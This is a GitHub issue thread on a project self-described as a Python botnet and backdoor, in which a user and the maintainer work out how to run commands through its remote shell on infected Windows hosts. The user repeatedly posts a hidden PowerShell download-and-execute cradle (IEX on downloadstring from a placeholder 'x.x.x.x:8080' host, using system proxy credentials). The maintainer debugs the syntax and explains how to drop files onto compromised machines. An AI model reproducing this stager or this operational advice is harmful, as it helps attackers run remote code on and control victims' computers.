sweetsoftware / Ares

Python botnet and backdoor
1.52k stars 476 forks source link

powershell command #4

Closed vasco2016 closed 8 years ago

vasco2016 commented 8 years ago

Is it possible to execute powershell command thru Ares cmd ?

sweetsoftware commented 8 years ago

Hi @vasco2016, As of today the shell is a non-interactive cmd.exe shell. It means you can run any powershell commands out of the box by prefixing your commands with powershell /c powershell command For an interactive shell, some coding has to be done.

vasco2016 commented 8 years ago

hmm ... its dont work when i trye this for exemple. Do you have any ide how to make it works ?

powershell /c -nop -w hidden -c $Q=new-object net.webclient;$Q.proxy=[Net.WebRequest]::GetSystemWebProxy();$Q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $Q.downloadstring('http://x.x.x.x:8080/');

original string is like this

powershell.exe -nop -w hidden -c $Q=new-object net.webclient;$Q.proxy=[Net.WebRequest]::GetSystemWebProxy();$Q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $Q.downloadstring('http://x.x.x.x:8080/');

sweetsoftware commented 8 years ago

/c (or -c) should be followed by your powershell code, all options (-nop, -w hidden) should be set before this.

I tried on my machine, using powershell /c works as you can see capture

Can you run a command at all ? Maybe the shell hangs because you launched an interactive command (eg powershell.exe without /c) and now the process is waiting indefinitely.

vasco2016 commented 8 years ago

sorry dont work for me i can run dir, cd, whoami all standard commands but it dont work for me with powershell :(

When i execute powershell.exe -w hidden -nop -c echo hallo i dont get any respons when i try do this on my vm i get disconnected.

vasco2016 commented 8 years ago

now i get

Missing ')' in method call.

'apos' is not recognized as an internal or external command, operable program or batch file. 'apos' is not recognized as an internal or external command, operable program or batch file.

vasco2016 commented 8 years ago

This strin works if i put it in cmd or powershell but when i execute it i get this error.

powershell.exe -w hidden -nop -c $I=new-object net.webclient;$I.proxy=[Net.WebRequest]::GetSystemWebProxy();$I.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $I.downloadstring('http://x.x.x.x:8080/');

get this error

Missing ')' in method call.

'apos' is not recognized as an internal or external command, operable program or batch file. 'apos' is not recognized as an internal or external command, operable program or batch file.

Do you have any ide what wrong on the way ?

vasco2016 commented 8 years ago

ok i can make workaround how do i upload ?

When i type upload nothing happand .

upload /home/my.exe

sweetsoftware commented 8 years ago

You have to be in the same folder, try cd and then upload my.exe. The upload command uploads a file from host to the server, for dropping files on the host use download.